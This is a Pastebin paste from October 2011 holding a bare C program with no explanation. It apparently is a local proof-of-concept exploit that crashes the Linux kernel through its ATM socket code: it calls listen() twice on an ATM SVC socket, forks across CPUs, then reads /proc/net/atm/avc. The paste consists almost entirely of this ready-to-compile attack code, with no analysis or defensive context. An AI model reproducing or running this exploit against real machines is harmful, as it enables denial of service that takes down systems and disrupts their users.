Guest User

Untitled

a guest
Oct 7th, 2011
74
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.50 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4. #include <fcntl.h>
  5. #include <linux/atm.h>
  6. #include <sys/types.h>
  7. #include <sys/socket.h>
  8. #include <sys/stat.h>
  9.  
  10. #define NUM_CPUS 8
  11. #define ATM "/proc/net/atm/avc"
  12.  
  13. int
  14. main(void)
  15. {
  16. char *err, adurit[2000];
  17. int i, ret, sock, proc;
  18. struct atm_qos dj;
  19. struct sockaddr_atmsvc addr;
  20.  
  21.  
  22.  
  23. sock = socket(PF_ATMSVC, SOCK_DGRAM, 0);
  24.  
  25.  
  26. memset(&dj, 0, sizeof(dj));
  27. dj.rxtp.traffic_class = ATM_UBR;
  28. dj.txtp.traffic_class = ATM_UBR;
  29. dj.aal = ATM_NO_AAL;
  30.  
  31.  
  32. ret = setsockopt(sock, SOL_ATM, SO_ATMQOS, &dj, sizeof(dj));
  33. if (ret == -1) {
  34. printf("failed !\n");
  35. return 1;
  36. }
  37. memset(&addr, 0, sizeof(addr));
  38. addr.sas_family = AF_ATMSVC;
  39.  
  40. bind(sock, (struct sockaddr *) &addr, sizeof(addr));
  41.  
  42. listen(sock, 10);
  43. listen(sock, 10);
  44.  
  45. for (i = 1; i < NUM_CPUS; ++i) {
  46. if (fork() != 0) {
  47. break;
  48. }
  49. }
  50. proc = open(ATM, O_RDONLY);
  51. ret = read(proc, &adurit, 2000);
  52. close(proc);
  53.  
  54. return 0;
  55. }
  56.  
  57.  
  58. # [2011-10-06]
  59.  
Advertisement
Add Comment
Please, Sign In to add comment